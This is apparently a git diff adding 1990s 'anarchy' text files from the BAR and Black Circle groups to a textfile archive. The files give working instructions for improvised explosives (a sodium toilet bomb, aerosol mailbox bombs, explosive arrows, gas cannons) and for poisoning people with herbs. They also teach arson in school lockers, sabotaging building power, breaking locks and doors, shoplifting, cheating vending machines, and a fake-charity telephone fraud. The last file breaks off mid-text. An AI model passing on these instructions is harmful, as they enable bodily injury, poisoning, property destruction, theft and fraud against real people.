buffs out there will know exactly what I am talking about while +the others will just get the idea. Well, here it is. + You know how when you push the windshield washer button it +squirts fluid onto the windshield? Well here is how to use that to +your advantage. Fill the fluid tank with beer or whatever and run +the hoses that feed the squirt holes inside the car. This way you +can push the button and squirt the liquid into the cab of the car +for everyone to drink! + What you do is just get a new, clean tank, so it doesn't taste +like soap and new tubes. There are special kinds out there that +won't leave the flavor of rubber on the drink. Run the new tube +through the fire wall and into the cab. Push squirt button and +enjoy! Now the police can't catch you with alcohol in the car! + Also, make sure the tube is long enough to reach back seat +passengers. You can also put a cap on the end like a keg has so +the liquid won't drip. Pretty cool, huh? Just get the proper new. +clean components and rig it just right. + I have not tried this but a kid in my school has set it up on +his truck. The shop class teacher helped him design and make it! + Have fun, and don't drink and drive. Just park and drink. + +A á’â release + Courtesy of Irie Man \ No newline at end of file diff --git a/textfiles.com/groups/BAR/foodmch.bar b/textfiles.com/groups/BAR/foodmch.bar new file mode 100644 index 00000000..915efe50 --- /dev/null +++ b/textfiles.com/groups/BAR/foodmch.bar @@ -0,0 +1,38 @@ + + BAR + Bad Ass Retards + presents + "How to rip off Food Machines" + + + You have seen those food machines that have the spiral rings +that shoot out the food right? Well this is the way to rip them off. +There are really two different methods to go about doing this. There +is always the dollar bill trick. + + OK here is what you do. You get a regular one dollar bill. +You get some really strong package tape. You tape the tape +to the dollar bill. You do it to the oppsoite end that is +going in. Once the machine takes in the dollar bill you +type what you want. Once you get what you want you rip as +hard ass you can on the tape. The dollar bill will then +come back out and there you have it. The tape should be about +a foot long. You tape it to both sides so that it is not sticky. + + The second method of going about doing this is one +that will get you as much candy as you damn well please. and +tons of money. What you do is go to a computer store and say +that you have acidently locked your computer with the key. They +will give you a ring that is filled with the different sizes of +keys. The lock that opens up the soda machine is just like the +one for your computer. Then you open up the machine. You take all +the candy that you damn well please but then you can get the money. +The place where the dollar bill goes, there are tons of dollar bills. +You open the machine and you pop open that compartment and take all +of the dollar bills. There you have it. Tons of cash and plenty of +candy. + + BAR + by + jUNGLE jIMMY + diff --git a/textfiles.com/groups/BAR/funherbs.bar b/textfiles.com/groups/BAR/funherbs.bar new file mode 100644 index 00000000..660d7221 --- /dev/null +++ b/textfiles.com/groups/BAR/funherbs.bar @@ -0,0 +1,29 @@ + HERBAL TEAS CAN BE COOL + (very cool as you will read) + + Although herbal teas sometimes counter the effects of +prescription drugs or cause serious side effects, that's not +important here. What is important is what they can do! Put these +in your enemies food or drink for revenge! + + These few cause SEVERE diarrhea: Senna (leaves, flowers and +bark), buckthorn bark, dock roots and aloe leaves. Cool huh? Try +them on someone you love to get even with, then lock the bathroom! + + These cause allergic reactions: Camomile, goldenrod, marigold +and yarrow. To make the one you hate suffer. Try 'em all! + + This causes cancer, (but what doesn't), sassafras. + + These cause toxic (possibly FATAL) reactions: Shave grass, +Indian tobacco and miseltoe leaves. + + These cause hallucinations, COOL!: Catnip, juniper, hydrangea, +jimsonweed, lobelia, nutmeg, wormwood. + + Now that you know what is bad and what is good, give them a +try. Try a nice brew of hallucinatory tea sometime. Catnip, huh, +no WONDER cats love it. Enjoy! + +A á’â release + Courtesy Irie Man \ No newline at end of file diff --git a/textfiles.com/groups/BAR/fuse.bar b/textfiles.com/groups/BAR/fuse.bar new file mode 100644 index 00000000..bc90dd0f --- /dev/null +++ b/textfiles.com/groups/BAR/fuse.bar @@ -0,0 +1,36 @@ + + BAR + Bad Ass Retards + presents + "How to Blow Fuses" + by. jUNGLE jIMMY + + Blowing fuses can be very easy and do a lot of damage. +You can make it so your school can have no power in there rooms. Here +is what you do. You get a wire from anything that you want, such as +a piece of shit lamp. You get a knife or wirer cutters and cut the cord +of of the lamp or whatever. Now you have they main part of this fuse +Blower. OK now once you have cut of the cord, you get the little +wires inside of the cord and tie them together. There are two strands +of wires on the cord. That is in the rubber. OK you will see these +gold looking wires inside of the rubber. You wrap how ever many +from each side of the cord. If you tie them all together you can blow out +the power in the entire building. If you just tie on from each strand to- +gether you will just blow the fuse. + +EX. + ------ + =- ------------------- + =- ------------------- + ------ + You plug the cord into the wall and you will see a small +explosion. That means that the wires in the cord have worked and +the fuse is gone. You can do it more and more. To do it as many +times as you want you have to cut down the wire everytime to get to +more of the gold wires. + + This can also work from outside outlets if you wanted to rob someone +or just trash there house. + + BAR'93 + diff --git a/textfiles.com/groups/BAR/lock.bar b/textfiles.com/groups/BAR/lock.bar new file mode 100644 index 00000000..98dea3ab --- /dev/null +++ b/textfiles.com/groups/BAR/lock.bar @@ -0,0 +1,28 @@ + + BAR + Bad Ass Retards + presents + "How to break into rooms in your school" + + The rooms in your school are very easy to break into. It +takes no effort at all. The materials that you need are a wire of +some sort, such as a wire for your breaks on your bike. This +prosegure is short and works well. + + What you do is take the wire that you have from your bike +or notebook and make it so it has a hook at the end. Not a very +sudden one but a gradual one. The hook should be about a foot long. +Then what you do is slip the hook and wire into the door. You make +it so it goes around the part that is the lock. Once you get it through +you hold on to both ends with one hand. You yank on the wire and pull +on the door at the same time. The door will open and your in. + + This only works on doors that open out. Not the ones that +open into the room. I recomend this for breaking into a class room +to get a test or something that you need from a teacher. You can also +use it to break into the book store or something like that. + + BAR + + by jUNGLE jIMMY + diff --git a/textfiles.com/groups/BAR/lockers.bar b/textfiles.com/groups/BAR/lockers.bar new file mode 100644 index 00000000..d8df2413 --- /dev/null +++ b/textfiles.com/groups/BAR/lockers.bar @@ -0,0 +1,55 @@ + School Locker Fun + (weeeeee!) + + Here are some fun, destructive and annoying things to do at +school to the lockers. The first is the most fun, but also the +most hazardous. Carry around your handy, dandy bic, zippo or +whatever lighter and light the papers that stick out of the lockers +in the hallway. You know what I'm talking about, the little +corners of papers that kids leave sticking out of their lockers, +light 'em on fire! However, do it discretely and don't stand +around and watch. It will be funny to hear how kids got their +homework fried, along with anything else flammable in their locker. +This is a classic and will provide many hours of pyro-technic fun! + Another neat thing to do is to break into lockers and see what +you can nab. The best way to do this, unless the locker is already +open of course, is to use the "jiggling" technique. How it works +is you pull the handle of the locker out as far as it can go, hold +it there, and jiggle the locker up and down. If it barely moves +(the door) it probably won't open. However, if it moves a lot and +feels lose, you can probably open it. Then, look, grab run and +enjoy! This also works with top cabinets to lockers, but only if +the door has a knob or handle on it. Just pull and jiggle up and +down. + These next few are for jokes or for bothering kids you hate. +One thing to do is to put your own locks on others kids lockers. +Then, obviously, they won't be able to open it! What a pain in the +ass it will be for the kid to go to his locker, see that it is +locked, and have to go get a janitor to take it off. For best +effect, get many locks and do it 2-3 times a week if you can. Boy, +will that kid be pissed! + Something else you can do is melt the locks that kid already +have on their lockers. This only works with plastic locks but is +annoying to do to people. Just take your lighter and melt the +dials on the lock to each other or just melt anything plastic on +the lock, at least it will be fun to do! This works best with +these locks I sometime see that are florescent green or pink and +have four switch type things on them. All I do is line up the +switches and melt them into one blob. This is cool because then +the kid can't open his locker. Neato! + The last and funniest thing to do is too friends or enemies in +gym class. Just find their locker, and get in to the locker room +early. Then take a good amount of your moms most powerful smelling +perfume and spray it through the vent and douse the kids clothes. +Boy will he smell like a fairy! Ha ha, this is a riot to do +because the kid will smell like a total idiot. Or better yet, +while he is in gym, soak his normal clothes, that will be even +worse! Talk about laughing hysterically, it is just too funny! + Lastly, for all you out there that want easy access to your +own school locker, just stick some folded up paper in the door +slots. Then the door will close and hold, but not lock, leaving +you to open it without doing the combo. Good luck on all your +anarchy fun! + +A á’â release + Courtesy of Irie Man \ No newline at end of file diff --git a/textfiles.com/groups/BAR/malbxbom.bar b/textfiles.com/groups/BAR/malbxbom.bar new file mode 100644 index 00000000..6f78522f --- /dev/null +++ b/textfiles.com/groups/BAR/malbxbom.bar @@ -0,0 +1,46 @@ + + BAR + Bad Ass Retards + presents + "How to blow up Mailboxes" + + + Blowing up mailboxes can be tons of fun and very joyful. But +have you ever noticed that sometimes it is a real pain in the ass to blow +the damn thing up. I know that I have found that a lot of times. M-80 +never really seem to work to the extent that you want them to. Well here +is a way that is very destructive and works great. + + Contents:Lysol or any other aerosol spray. + Matches + Tape + + Ok, You need to have these contents because this is what will +make the bomb. What you have to do is first, go to your school and steal +all of the aerosol sprays that they have. Or do it at a super market, or +just be a woose and buy them. Get some tape that is strong eneough to hold +down a small spring. Thin pakaging tape is probally the best. Then get +some matches that work well. + + Now for the fun part. Get your cans of lysol or the other aerosol +sprays. Right when you are goign to blow up the mailbox put a piece of tape +on the trigger of the lysol. You want to tape it down so that the lysol will +continue spaying out the shit. Once you have accomplished doing that you are +ready. Then lite the aerosol and you will see a flame. Then you have to shut +the mailbox and run your ass off. The explosion will be huge. And the mail- +box will be trashed. + + You will find that this works very well. I have had tons of luck +with it and so should you. + + jUNGLE jIMMY + BAR'93 + + Call These Fine boards for BAR files + ____________________________________ + High Voltage :(908)231-0252 + WHQ The Hack Shop :(908)813-3476 + The New World Order:(908)782-9508 + The Hawks Nest :(201)347-6969 + TEKAT :(908)813-2738 + diff --git a/textfiles.com/groups/BAR/master.bar b/textfiles.com/groups/BAR/master.bar new file mode 100644 index 00000000..0f8959b6 --- /dev/null +++ b/textfiles.com/groups/BAR/master.bar @@ -0,0 +1,38 @@ + B.A.R. presents + "How to get past Master Locks" + Bad Ass Retards + + Now i shall reveal to you the information which i + have worked so long and hard to develop. The secret of + breaking master locks ... not really a secret or a trick + ... it is just a little reasearch and development. This + method is great for Fridays when you have no money and + want to go party ... ok enough BS. + + Here is what you do to crack the damn lock : Get + yourself a screwdriver(flathead ... IDIOT) make sure + it comes to a thin plane (sand it down if ya gotta). + Alright, now that you have your trusty screwdriver in + hand, now go find some poor shnooks locker ... insert + the screwdriver under the edge of the dial, and work + the blade of the screwdriver under the dial until you + have enough leverage to pop the dial ... POP THE DIAL + ALREADY!!! + Now after you have done this, you should see the + inside, a pin with some shit around it. Now, there are + actually two ways to open the lock from here (sucks + being indecisive doesnt it?) One way is to take your + screwdriver and mash the insides of the lock until you + can fit your screwdriver inside the lock. Now that you + have done this, all you have to do now is to work your + screwdriver to the upper-left part of the lock, and + work open the latching mechanism. + An alternative method is to rip out the pin with + a pair of pliers, or smash it until it falls out. This + is simple and sometimes faster. The first method + described requires much more practice, but is more + elegant and quieter. + + Courtesy of: MagiK + Thanks to: Bad Ass Retards + diff --git a/textfiles.com/groups/BAR/moresoda.bar b/textfiles.com/groups/BAR/moresoda.bar new file mode 100644 index 00000000..d6997567 --- /dev/null +++ b/textfiles.com/groups/BAR/moresoda.bar @@ -0,0 +1,39 @@ + "Yet Another File On Cheating Change & Soda Machines" + a BAR file + "Bad Ass Retards" + by, Trillion + + + Atleast everybody has their own way of cheating soda and + change machines. Most of them hardly work. Here is one that I thought + up that is relatively simple and is very effective, as I tried it on many + machines. Welp, here it is: + + Take a buck and put a piece of tape on the end of it about 3 or 4 + inches long. Then, get an index card and cut it in half. Then fold it + in half, but don't make it stay closed. Next, tape the tape to the + center and middle of the fold on the index card. When you insert the + dollar, it should accept it, but it won't go down because the index + card will block it. Look at the diagram, it should explain it more: + ________________ _____________ + | | | Index Card| === - Tape + | Pres. ============+ | + | ============+ | + - Fold Of Index Card + |________________| |_____+_____| + + + It should be easy enough to do. You might want to use string + instead of tape, but I have never tried it. Well that about wraps it up. + + + This has been a Bar presentation. Thank you. + + Support Boards - + + Name Sysop Misc + ---------------------------------------- Call your local H/P/A/V board + The Hack Shop Trillion WHQ for the numbers and NUPs. + ---------------------------------------- + Tekat Mr. Sandman Support + + diff --git a/textfiles.com/groups/BAR/pipekill.bar b/textfiles.com/groups/BAR/pipekill.bar new file mode 100644 index 00000000..70227082 --- /dev/null +++ b/textfiles.com/groups/BAR/pipekill.bar @@ -0,0 +1,54 @@ + + + + ---==Disclaimer==--- + The author of this text, namely me is not responisible for +any damage, injury, or legal actions taken against the user for trying +any of these idea's. They are dangerous!! + + ---==The Bomb==--- + + Ok, if you ever want to cause some havoc at school or +in a public place that will cause a pretty substantial amount of +damage, but probably won't kill anyone unless there standing next +to the sewage pipe in the basement of the building or whever the +bomb explodes... + + Here's how you do it. You get some Sodium or Potassium metal +you can usually find it either in your chem class or in a science supply +book, preferably in the form of like a 1 inch wide bar. Usually science +classrooms will only have pelets, but those will work you'll just need +more. You'll find the pellets packed in glass bottles filled with oil, +yes, oil, this stuff is so volitile that it reacts with the moisture in +the air. So, you get some plastic wrap or a plastic bag, pull some of +the pellets or a bar or two out of the jar and put it into the bag, and +loosely close it or wrap it, but tight enough to keep the water out +until it gets a little bit down the pipe. + + Then without getting the bag wet or anything proceed to +the nearest restroom, carefully place it in a toilet and flush it. +As the bag or plastic wrap package is travelling down the +pipe it will slowly open up, and when it does, the water hits the metal +which has a very violent reaction and make heat upto about 2000 degrees +farenheit and alot of hydrogen gas, so when the gas builds up the heat +ignites it and boom you have a high powered Hyrogen gas explosion. And +as it keeps travelling it keeps flaming and/or exploding which usually +causes the pipe to crack so if you use enough you might get out of +school for a day or so.. Thats all there is to it. + +Notes: Make sure that the bag or plastic wrap is sealed tight enough +otherwise it will blow-up in your face when it hits the water. + +2. Also after you flush it run like hell because the water/sewage will +probably fly out of all the drains in the bathroom.. + +3. If you want to doo a test reaction take a thick walled measuring +cup, put a little water in, and drop no more than say 5 pellets worth +in.. + + Happy Destruction!!! + This proccess has been tested and is known to cause serious damage. + + Author: Snake + Idea: Snake + Tested by: Sorry can't tell ya. diff --git a/textfiles.com/groups/BAR/poolkill.bar b/textfiles.com/groups/BAR/poolkill.bar new file mode 100644 index 00000000..d9a4506a --- /dev/null +++ b/textfiles.com/groups/BAR/poolkill.bar @@ -0,0 +1,36 @@ + *** How to Kill a Pool*** + + + --==Disclaimer==-- + The author of this text or the group is in no way responsible +for personal injury, property damage, death, dismemberment, or any other +harm caused by any idea's contained in this text.. These idea's are in +no way meant to be tried and are made solely for an educational purpose... + + + ******The Pool Killer****** + + Ok, here it is, all you need for this little bit of mischieve +is a bottle of liquid soap, preferably like Pamlolive or something that +gets really sudsy... + + All you have to do is pour about half the bottle into the pool +preferable into the skimmer (that little box that skims the leaves and +crap off the top of the water), there should be a little round lid on the +top of it in the cement.. So then after its in, it will get sucked through +the filter and begin to get sudsy, and before you know it the pool will +look like a sink full of soapy water... + + Anyway, as far as I know, it doesn't cause any permament +damage but they do have to drain and rinse the entire pool to +get rid of the problem.. So to say the least its a nasty prank +on that will cost them alot of money to clean and refill the pool.. So +just do it to those especially annoying neighbors that call the cops +on you and shit like that.. + + Good Luck and don't get caught!! + + +Author: Snake +Group: BAR +Idea:Snake diff --git a/textfiles.com/groups/BAR/scam1.bar b/textfiles.com/groups/BAR/scam1.bar new file mode 100644 index 00000000..4425ea82 --- /dev/null +++ b/textfiles.com/groups/BAR/scam1.bar @@ -0,0 +1,49 @@ + + "A Scam" + + (B)ad (A)ss (R)etards + B.A.R + by, + Trillion + + My friend works for this company that pulls off one of the + biggest scams around. He gets paid 6 bucks an hour(this company + has grown big on this scam). He works all hours and breaks all child + labor laws. He gets some big cash. What he does is call up people and + ask for a donation to The New Jersey Law Association. Believe it or not, + if you sound convincing enough, many people will donate. What the + does with the money they recieve is pay their workers off, pay off the + phone bills and send about %20 to donations to certain groups. They keep + about %30 of the money they make for themselves. As you can see, + this can be very profitable. What they do, is when a person says + they'll donate, they send the victim a packet of trash information. They + then mail it back in. This company has an business address, so it's more + believable. Here's what you can do: + + 1. Get your phone and your phone book. + 2. Make up a fake organization. (i.e. enviorment, sports,etc) + 3. Call people up and ask for donation. Tell them to mail it + to your address in a personal check. (What could they get + you for if you were found out? You made your organization, + only it has one person in it: You.) + 4. When you recieve the check, cash it and then on your + computer, make out some stupid thing that says: + + (Name) donated $(amount) to + + (Organization) + or something for the idiots to show off or feel good about. + 5. Send it to them. + 6. Repeat steps 1-5. + + Remember to make them write the check in your name, and you can cash + it if you have your social security card on you.(If your without + a driver's liscence.) + Remember to act nice and professional on the phone and prepare + a speech. Well, that's about it. 'Till next time, + Trillion + + -==- + '93 + + diff --git a/textfiles.com/groups/BAR/sodatip.bar b/textfiles.com/groups/BAR/sodatip.bar new file mode 100644 index 00000000..6bf41e9a --- /dev/null +++ b/textfiles.com/groups/BAR/sodatip.bar @@ -0,0 +1,39 @@ + + B.A.R. + Bad Ass Retards + presents + "How to Get Free Soda's" + + + This is the easiest way to rip off Soda Machines. If you ever +get really thirsty and then find out that you have no money on you this +is the solution. + + This procedure is going to need at least two people or at the +most three people. The way that you get the free soda is by tipping +the soda machine towards you. You need two people to do this because +if you try to do it on your own the machine can fall on you and even +kill you. The two people both get on a side of the Soda Machine. You +both want to start pulling on it. The easiest way to get this started +is by putting your feet against the wall and pushing out with your feet, +and pulling with your arms. The machine will then start to fall over. +What you then do is get in front of the machine and prop it up. You do +not want the machine to fall on top of you. You then shake it up and +down while it is still tipped. Soda's will then fall out of the machine. + + If you get more than two sodas out of the Machine then you are +going to have a problem getting them out. Well then what you do is push +one of the soda's back up into that flap that the soda's come out of. You +take your two out and then get the rest of them. + + The trick is caused by this: When a Soda Machine is filled up you +are not supposed ot fill it to the very top. There is a bar that you are +supposed to fill it up to. Well nobody ever does. When the machine is +filled you will get tons of of soda's. Even when the machine is low you can +get some, but you have to tip it down even farther. If you see any lites +on, the little orange ones that lite up when the machine is empty, Do not +even bother trying. + + B.A.R. + jUNGLE jIMMY + diff --git a/textfiles.com/groups/BAR/steal.bar b/textfiles.com/groups/BAR/steal.bar new file mode 100644 index 00000000..9e1c7f5c --- /dev/null +++ b/textfiles.com/groups/BAR/steal.bar @@ -0,0 +1,75 @@ + + BAR + Bad Ass Retards + presents + "How To Steal" + + + OK. You know how when you go to steal things you can always +have a little trouble. Well this file is going to tell you all the +things that can help prevent that. And how to steal from certain places. +You don't want to get caught and neither do I. My method has never +been caught ever. + + Contents:Long sleeve shirt + Big bag that is not see through + And yourself + + #1.This is wear you are going to need the long sleeve shirt. +Go into a store. Take your time looking around. You don't want to +look suspicios. Find all the cameras that are in the store. Now +that you knwo where they are located you are in business. Find the +item that you wish to steal. It does not matter if you are infront +of a camara or not. They wont be able to pick this up. Have you long +sleeve shirt on. Make it so your hand is in the sleeve. Then what +you do is stick your hand over top of the item you want. You then +have it in your sleeve. The cameras have no clue what you have done +and now you are home free. + + #2.This is for items that are pretty big. You need to have your +bag now. OK walk around the store and do the same procedure. Find the +item that you want to steal. Put two of the items down on the ground. If +they are small enough put two of them in your hand. Your back has to be +to the camara though. Now the people watching the camaras think that you +have just picked up one. You put the one in the bag and then carry around +the other one for a while. Like you are going to buy it. They think that +nothing is up. Then you act like you just saw the price on it. You then +go and put it back. Then just to be safe. Go and buy something that costs +about a dollar. You can leave the store and nothing will happen to you. + + #3.This is how to steal CD's and Tapes from record stores. This +will only work on the ones that have the alarms set up. Have you ever seen +those little alarm thinigs on your c.d.s, well now you are goign to find out +how to steal these with out getting caught. Take off the alarm sticker. +They are just stick on things so they are very easy to get off. Then you +stick that alarm sticker on someones back. Once that they walk out of the +store, the alarm will go off. Now that they are totally checking out this +guy that you put the alarm on, you are now leaving. You have pulled all +of the alarm stickers off of your tapes and cds. You can walk right on out. +They wont even look at you. + + #4.Have you ever wante to steal from K-Mart, or WalMart. Well this +is the way to do it. Wait until it is about closing time there. All the +people at the in there will be tired. Most of the people shopping have +left for the night. The man that usually watches the door is also not there. +You grab the thing that you want and carry it into there garden center. If +they have one. You can then walk right on out. Have the thing in your bag +and the people wont even look at you. If the don't have a garden center then +go to somewhere in the back. Like the shoe departement. Nobody ever is in +there. This will always work and is fun doing it. + + #5.Stealing from Topps. You might think that this is hard to do but +it is really not. Walk into the store with an empty box. You have found +this box in the garbage cans, or the dumster there. You walk into the store +and go and put the box down where its identical merchandise is. You then walk +away for a moment. When you come back you take another box that has something +in it. You walk out of the store. Then the guy who works at the door that +asks to see your receit asks to see it. You say "oh, I was just returning +this. The workers here said that I could return it." Then the dumb ass will +say "OK" Then you are through. It helps to have a women do the stealing for +this one. They always give them a little bit more sympathy. + + BAR'93 + jUNGLE jIMMY + + diff --git a/textfiles.com/groups/BLACKCIRCLE.1 b/textfiles.com/groups/BLACKCIRCLE.1 new file mode 100644 index 00000000..ccea125e --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE.1 @@ -0,0 +1,26 @@ + +T E X T F I L E S + +

Groups: Black Circle Productions

+

+Black Circle Productions, an IRC-centric anarchy and hacking group +from the mid 90's, wrote this series of files to encourage people to +cause mayhem, prank call the stars, and generally make a little trouble. +

+ + + + + +
+
Filename
Size
Description of the Textfile
bcp-$20.txt 2733
 Black Circle Productions: Passing the $20, by Lars, 2/24/1995 +
bcp-arro.txt 2457
 Black Circle Productions: Explosive Arrows, by Lars, 2/23/1995 +
bcp-can2.txt 3056
 Black Circle Productions: Cannons Part 2, by Lars 3/4/1995 +
bcp-car.txt 2992
 Black Circle Productions: Car Revenge, by Lars, 2/24/1995 +
bcp-comb.txt 2586
 Black Circle Productions: Composition B, by Lars, 2/17/1995 +
bcp-fun.txt 2400
 Black Circle Productions: Fun Numbers, by Lars, 3/10/1995 +
bcp-mcd.txt 3617
 Black Circle Productions: Fun at McDonalds, by Lars, 2/24/1995 +
bcp-mine.txt 2094
 Black Circle Productions: Home Made Mines, by Lars, 2/24/1995 +
bcp-pipe.txt 1803
 Black Circle Productions: Pipe Bombs, by Lars, 2/3/1995 +

There are 9 files for a total of 23,738 bytes.
+ diff --git a/textfiles.com/groups/BLACKCIRCLE/.windex.html b/textfiles.com/groups/BLACKCIRCLE/.windex.html new file mode 100644 index 00000000..ff6df8d6 --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/.windex.html @@ -0,0 +1,26 @@ + +T E X T F I L E S + +

Groups: Black Circle Productions

+

+Black Circle Productions, an IRC-centric anarchy and hacking group +from the mid 90's, wrote this series of files to encourage people to +cause mayhem, prank call the stars, and generally make a little trouble. +

+ + + + + +
+
Filename
Size
Description of the Textfile
bcp-$20.txt 2733
 Black Circle Productions: Passing the $20, by Lars, 2/24/1995 +
bcp-arro.txt 2457
 Black Circle Productions: Explosive Arrows, by Lars, 2/23/1995 +
bcp-can2.txt 3056
 Black Circle Productions: Cannons Part 2, by Lars 3/4/1995 +
bcp-car.txt 2992
 Black Circle Productions: Car Revenge, by Lars, 2/24/1995 +
bcp-comb.txt 2586
 Black Circle Productions: Composition B, by Lars, 2/17/1995 +
bcp-fun.txt 2400
 Black Circle Productions: Fun Numbers, by Lars, 3/10/1995 +
bcp-mcd.txt 3617
 Black Circle Productions: Fun at McDonalds, by Lars, 2/24/1995 +
bcp-mine.txt 2094
 Black Circle Productions: Home Made Mines, by Lars, 2/24/1995 +
bcp-pipe.txt 1803
 Black Circle Productions: Pipe Bombs, by Lars, 2/3/1995 +

There are 9 files for a total of 23,738 bytes.
+ diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-$20.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-$20.txt new file mode 100644 index 00000000..fddce7fe --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-$20.txt @@ -0,0 +1,53 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [2/24/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Passing the $20 ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + This is a good way to get most losers fired or + at least a real bitching at. it takes two people + and a $20 bill. oh yeah and the guy you hate needs + to be a cashier. Get the $20 and write on it + something like I Love you Paul! (if your name is + paul) then give it to one of your friends. have him + go in and order somethin right before you and pay for + it with the $20. now you standing right behind him buy + something cheap and use a $5. when he gives you back + your change say i gave you a $20 and yoy only gave me + 3 bucks back. of course he will say no, but that will + attract attention and the manager will come over. + when he says whats wrong say + + That CockSucker tried to rip me off and he is trying + to say i gave him a $5 when i gave him a $20. i can + prove it cause my $20 says I Love Paul on it. I used + to think that there were honest people working here. + i will never shop here again now get my money back + from that crook. + + this usally gets your buddy fired. Experment with + this and see what you come up with. and have fun.. + + + + + BLACK CiCRLE PRODUCTiONS is in need of more members. + if you think you can offer something call The + BcP WHQ The X-Files at 919-881-9131. or leave + mail to: + + lars@merlin.nando.net + + OR join the BcP Channel on IRC #bcp + + +BLACK CiRCLE PRODUCTiONS '95 + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-arro.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-arro.txt new file mode 100644 index 00000000..6f3ea04b --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-arro.txt @@ -0,0 +1,51 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [2/23/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Explosive Arrows ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + Making Explosive arrows is a very easy + thing to do. first you need some hollow + shaft aluminium arrows, then you will + need a CO2 Crater maker ( See BcP File on + pipe bombs ). Take your arrow, remove the + tip and saw it so you can peel back 4 parts + of it like a bannana. pull them all back, and + put your crater maker in the middle. then + bend them back up, leaving the end of the + crater maker sticking out. Get some Duck + tape and wrap it tightly around the end of + the arrow so you will be sure it is in place. + now, you need to be sure that it goes off when + it hits a target. get some blasting caps and + nipples ( Any gun store ) and put it on the end + of the crater maker. then get some plaster of + paris. put a glob over the cap, and before it + can dry, put a small finishing nail in it so that + it is touching the cap. now when you shoot + it, it will hit the nail witch will hit the + cap which will send a spark down the nipple and + blow up your crater maker.. good luck and dont + kill any one.. + + + +BLACK CiRCLE PRODUCTiONS '95 +SPiN THE BLACK CiRCLE!! + + + + + + + + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-can2.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-can2.txt new file mode 100644 index 00000000..4da8eedf --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-can2.txt @@ -0,0 +1,60 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [03/04/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Cannons Part 2 ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + + Ok seeing as you are reading this, i assume that + you have read the last article on BcP Cannon + Making. Well If not, stop and go do it. you need + to be familar with the stuff so you will under + stand this. well, now on to the fun stuff. Say + you have your normal Cannon its fun and all, + but what if you got a propane tank like off of + a grill. well thats better but what about an + acetlene one? well ok now that you have that evil + idea in your head, try this. now take you ignighter + off your grill. or just go a buy one. well now + drill a real small hole in your cannon and put + the sparker thing in there. well now all you have + to do is turn the nozzle for the big tank, then + push the button. this is a much better way of + useing your cannon. You can fire it faster and + it will have a lot more power. now you have + your super cannon. Well lets make it better. Have + you read the BcP File on Rocket Launchers? well + i hope so cause just make one of thoose and + 